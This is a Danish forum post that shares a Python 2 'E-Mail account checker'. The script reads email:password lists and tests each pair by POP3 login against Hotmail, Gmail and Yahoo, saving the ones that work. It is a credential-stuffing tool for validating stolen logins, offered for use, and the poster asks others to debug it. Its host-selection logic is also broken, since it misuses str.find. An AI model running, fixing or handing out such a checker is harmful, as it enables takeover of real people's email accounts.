Tænkte lige jeg ville dele dette med jer. Det er "kodet" for evigheder siden.
Ja, meget af koden er leeched, jeg har bare rettet den til med noget tekst og nogle flere hosts, samt noget forbedret fil-håndtering.
Hvis jeg husker rigtigt virker det ikke længere, men måske er der nogen der kan debugge det for mig? Selv er jeg meget rusten til Python ^^
Kode:
#!/usr/bin/python
import sys, poplib, os
os.system(['clear','cls'][os.name == 'nt'])
def printHelp():
os.system('CLS')
print "Doctor Blue's E-Mail account checker"
print "-----------------------------------------------------------------"
print "Syntax:"
print "mailcheck.py [listpath] [validlistpath]"
print " "
print "[listpath]: The path to the text file that contains the e-mails."
print " "
print "[validlistpath]: When the script finishes, all valid"
print "adresses will be saved to this text file."
print " "
print "Please note that the e-mail list must have 1 adress per line"
print "formatted like this: [address]:[password]"
print "-----------------------------------------------------------------"
printHelp()
MAILLIST = sys.argv[1]
SAVEFILE = sys.argv[2]
VALID = []
CURRLINE = 0
PORT = 995
try:
handle = open(MAILLIST)
except:
print '[!] Couldn\'t open email file(check path).'
exit(1)
for LINE in handle:
CURRLINE += 1
try:
EMAIL = LINE.split(':')[0]
PASSWORD = LINE.split(':')[1].replace('\n', '')
except:
print '[!] Bad format at: %d.' % CURRLINE
printHelp()
exit(1)
if EMAIL.find("@hotmail.com") or EMAIL.find("@live"):
HOST = "pop3.live.com"
HOSTNAME = "Hotmail"
elif EMAIL.find("@gmail.com"):
HOST = "pop.gmail.com"
HOSTNAME = "GMail"
elif EMAIL.find("@ymail.com") or EMAIL.find("@yahoo") or EMAIL.find("@rocketmail.com"):
HOST = "pop.mail.yahoo.com"
HOSTNAME = "Yahoo"
else:
print "Skipping %s" % (EMAIL)
pass
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(EMAIL)
pop.pass_(PASSWORD)
VALID.append(EMAIL + ':' + PASSWORD)
print 'YAY! %s:%s is working!' % (EMAIL, PASSWORD)
pop.quit()
except:
print 'AWW! %s:%s is NOT working!' % (EMAIL, PASSWORD)
pass
print '>>Total Working: %s' % len(VALID)
save = open(SAVEFILE, 'a')
for EMAIL in VALID:
save.write(EMAIL + '\n')
save.close()
Til ultra-skidsne, hvis i ikke er klar over det skal den gemmes som whatever.py, [have tilladelser til execution (chmod +x whatever.py) - kun på linux ] og derefter startes med
./whatever.py unverified_emails.txt verified_emails.txt
Det er Python 2.x, så gå væk med jeres 3.x stuffs.